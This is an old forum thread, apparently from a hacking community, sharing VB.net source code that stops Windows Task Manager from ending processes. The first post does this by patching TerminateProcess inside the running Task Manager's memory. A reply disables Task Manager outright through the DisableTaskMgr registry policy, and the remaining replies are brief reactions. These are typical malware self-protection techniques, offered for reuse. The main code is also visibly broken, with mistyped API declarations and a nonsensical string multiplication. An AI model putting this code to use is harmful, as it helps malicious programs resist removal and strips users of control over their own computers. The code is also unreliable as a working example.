[VB.net] Disable Task Manager [Source Code]

Raiden · 07-11-2011, 08:08 PM

This won't work with Vista unless you can bypass the UAC.

Code:
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long

    Const TH32CS_SNAPPROCESS As Long = &H2
    Const PROCESS_ALL_ACCESS = &H1F0FFF

    Private Declare Function Process32First Lib "kernel32" (ByVal hSnapShot As Long, ByVal uProcess As PROCESSENTRY32) As Long
    Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapShot As Long, ByVal uProcess As PROCESSENTRY32) As Long
    Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Object, ByVal lpBuffer As Object, ByVal nSize As Long, ByVal lpNumberOfBytesWritten As Long) As Long
    Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
    Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
    Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
    Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

    Public Structure PROCESSENTRY32
        Dim dwSize As Long
        Dim cntUsage As Long 
        Dim th32ProcessID As Long
        Dim th32DefaultHeapID As Long
        Dim th32ModuleID As Long
        Dim cntThreads As Long
        Dim th32ParentProcessID As Long
        Dim pcPriClassBase As Long
        Dim dwFlags As Long
        Dim szExeFile As String
    End Structure

    Public Function KillTASKMGR(ByVal Disable As Boolean) As Boolean
        If My.Computer.Info.OSFullName.Contains("Vista") Then  'Checks if OS is Vista, does not work if it is
            GoTo x
        End If
        Dim hSnapShot As Long, hAddress As Long, hProcess As Long, hWrite As Long
        Dim pe32 As PROCESSENTRY32
        hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) 
        pe32.dwSize = Len(pe32) 
        Process32First(hSnapShot, pe32) 
        Do While Process32Next(hSnapShot, pe32) <> 0 
            If InStr(1, LCase(pe32.szExeFile * 1024), LCase("TASKMGR.EXE")) > 0 Then 
                hProcess = OpenProcess(PROCESS_ALL_ACCESS, False, pe32.th32ProcessID) 
                If hProcess <> 0 Then
                    hAddress = GetProcAddress(GetModuleHandle("KERNEL32.DLL"), "TerminateProcess")

                    If hAddress <> 0 Then
                        If Disable = True Then
                            hWrite = WriteProcessMemory(hProcess, hAddress, 195, 1, 0) 
                        Else
                            hWrite = WriteProcessMemory(hProcess, hAddress, 0, 1, 0) 
                        End If
                        If hWrite <> 0 Then
                            KillTASKMGR = True
                        End If
                        Call CloseHandle(hWrite)
                    End If
                    Call CloseHandle(hAddress) 
                End If
                Call CloseHandle(hProcess) 
            End If
        Loop
        Call CloseHandle(hSnapShot) 
x:
        KillTASKMGR = False
    End Function

Raiden

Jacob · 09-02-2011, 01:14 AM

vb.net seems extremely confusing o.o

blowdoof · 09-02-2011, 11:47 AM

Xp also allows disabling taskmgr set by policy

Code:
Imports Microsoft.Win32
 
Public Class Form1
 
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
 
Dim systemRegistry As RegistryKey = _
 
Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System")
 
systemRegistry.SetValue("DisableTaskMgr", 1)
 
systemRegistry.Close()
 
End Sub
 
End Class

Aaaaalright...100 posts Smile

Kaveman · 09-18-2011, 03:47 PM

Look Nice Source I Wil Try this

narc0tics · 09-18-2011, 03:49 PM

(09-02-2011, 01:14 AM)Jacob Wrote: vb.net seems extremely confusing o.o

It's not, at all.

Thanks for sharing.